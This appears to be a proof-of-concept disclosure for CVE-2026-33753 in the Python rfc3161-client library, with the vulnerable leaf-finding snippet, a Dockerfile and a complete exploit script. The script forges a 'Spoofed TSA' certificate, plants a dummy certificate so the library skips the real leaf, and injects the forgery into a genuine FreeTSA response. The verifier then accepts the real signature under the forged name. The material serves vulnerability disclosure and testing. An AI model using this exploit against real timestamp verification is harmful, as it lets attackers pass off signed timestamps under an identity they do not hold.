Python CVE-2026-33753

leaf_certificate_found = None
for cert in certs:
    if not [c for c in certs if c.issuer == cert.subject]:
        leaf_certificate_found = cert
        break

FROM python:3.11-slim
RUN apt-get update && apt-get install -y build-essential libssl-dev libffi-dev python3-dev cargo rustc pkg-config git && rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY . /app/rfc3161-client
RUN pip install cryptography requests asn1crypto
WORKDIR /app/rfc3161-client
RUN pip install .
COPY poc/poc.py /app/poc.py
WORKDIR /app
CMD ["python", "poc.py"]

import base64
import requests
from rfc3161_client import TimestampRequestBuilder, decode_timestamp_response, HashAlgorithm
from rfc3161_client.verify import VerifierBuilder
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID
import datetime
from asn1crypto import cms, tsp

def main():
    print("[*] Generating TimeStampRequest...")
    req_builder = TimestampRequestBuilder(
        data=b"hello world",
        hash_algorithm=HashAlgorithm.SHA256,
        cert_req=True
    )
    req = req_builder.build()

    print("[*] Contacting FreeTSA to fetch a genuine digitally signed timestamp...")
    resp = requests.post(
        "https://freetsa.org/tsr",
        data=req.as_bytes(),
        headers={"Content-Type": "application/timestamp-query"}
    )
    if resp.status_code != 200:
        print("[-] Failed to get TSA response. Is the network up?")
        return

    tsa_resp_bytes = resp.content

    print("[*] Creating forged certificate (Common Name: Spoofed TSA, EKU: timeStamping)...")
    private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
    subject = issuer = x509.Name([
        x509.NameAttribute(NameOID.COMMON_NAME, "Spoofed TSA"),
    ])
# We create a self-signed spoofed certificate that meets all Python verification criteria
    cert = x509.CertificateBuilder().subject_name(
        subject
    ).issuer_name(
        issuer
    ).public_key(
        private_key.public_key()
    ).serial_number(
        x509.random_serial_number()
    ).not_valid_before(
        datetime.datetime.utcnow() - datetime.timedelta(days=1)
    ).not_valid_after(
        datetime.datetime.utcnow() + datetime.timedelta(days=1)
    ).add_extension(
        x509.ExtendedKeyUsage([ExtendedKeyUsageOID.TIME_STAMPING]),
        critical=True,
    ).sign(private_key, hashes.SHA256())

    fake_cert_der = cert.public_bytes(serialization.Encoding.DER)

    print("[*] Parsing the authentic PKCS#7 SignedData bag of certificates...")
    tinfo = tsp.TimeStampResp.load(tsa_resp_bytes)
    status = tinfo['status']['status'].native
    if status != 'granted':
        print(f"[-] Status not granted: {status}")
        return

    content_info = tinfo['time_stamp_token']
    assert content_info['content_type'].native == 'signed_data'
    signed_data = content_info['content']

    certs = signed_data['certificates']

    from asn1crypto.x509 import Certificate
    fake_cert_asn1 = Certificate.load(fake_cert_der)

    real_leaf_asn1 = None
    for c in certs:
        c_subject = c.chosen['tbs_certificate']['subject']
        issues_something = False
        for oc in certs:
            if c == oc: continue
            oc_issuer = oc.chosen['tbs_certificate']['issuer']
            if c_subject == oc_issuer:
                issues_something = True
                break
        if not issues_something:
            real_leaf_asn1 = c
            break

    if real_leaf_asn1:
        print("[*] Found the genuine TS leaf certificate. Creating a 'dummy node' to disqualify it from the library's naive leaf discovery...")
        real_leaf_crypto = x509.load_der_x509_certificate(real_leaf_asn1.dump())
        dummy_priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
        dummy_cert = x509.CertificateBuilder().subject_name(
            x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Dummy Entity")])
        ).issuer_name(
            real_leaf_crypto.subject
        ).public_key(
            dummy_priv.public_key()
        ).serial_number(
            x509.random_serial_number()
        ).not_valid_before(
            datetime.datetime.utcnow() - datetime.timedelta(days=1)
        ).not_valid_after(
            datetime.datetime.utcnow() + datetime.timedelta(days=1)
        ).sign(dummy_priv, hashes.SHA256())

        dummy_cert_asn1 = Certificate.load(dummy_cert.public_bytes(serialization.Encoding.DER))
        certs.append(dummy_cert_asn1)

    print("[*] Injecting the malicious spoofed proxy certificate into the response bag...")
    certs.append(fake_cert_asn1)

    malicious_resp_bytes = tinfo.dump()

    print("[*] Downloading FreeTSA Root Certificate Trust Anchor...")
    root_resp = requests.get("https://freetsa.org/files/cacert.pem")
    root_cert = x509.load_pem_x509_certificate(root_resp.content)
# We must also download TSA.crt which acts as an intermediate for FreeTSA
    tsa_resp_cert = requests.get("https://freetsa.org/files/tsa.crt")
    tsa_cert_obj = x509.load_pem_x509_certificate(tsa_resp_cert.content)

    print("[*] Initializing Verifier strictly pinning Common Name to 'Spoofed TSA'...")
    tsa_resp_obj = decode_timestamp_response(malicious_resp_bytes)

    verifier = VerifierBuilder(
        common_name="Spoofed TSA",
        roots=[root_cert],
        intermediates=[tsa_cert_obj],
    ).build()

    print("[*] Attempting Verification...")
    try:
        verifier.verify_message(tsa_resp_obj, b"hello world")
        print("\n\033[92m[+] VULNERABILITY CONFIRMED: Authorization Bypass successful! The Verifier accepted the authentic signature under the forged 'Spoofed TSA' name due to Trust Boundary Confusion.\033[0m\n")
    except Exception as e:
        print("\n\033[91m[-] Verification failed:\033[0m", e)

if __name__ == '__main__':
    main()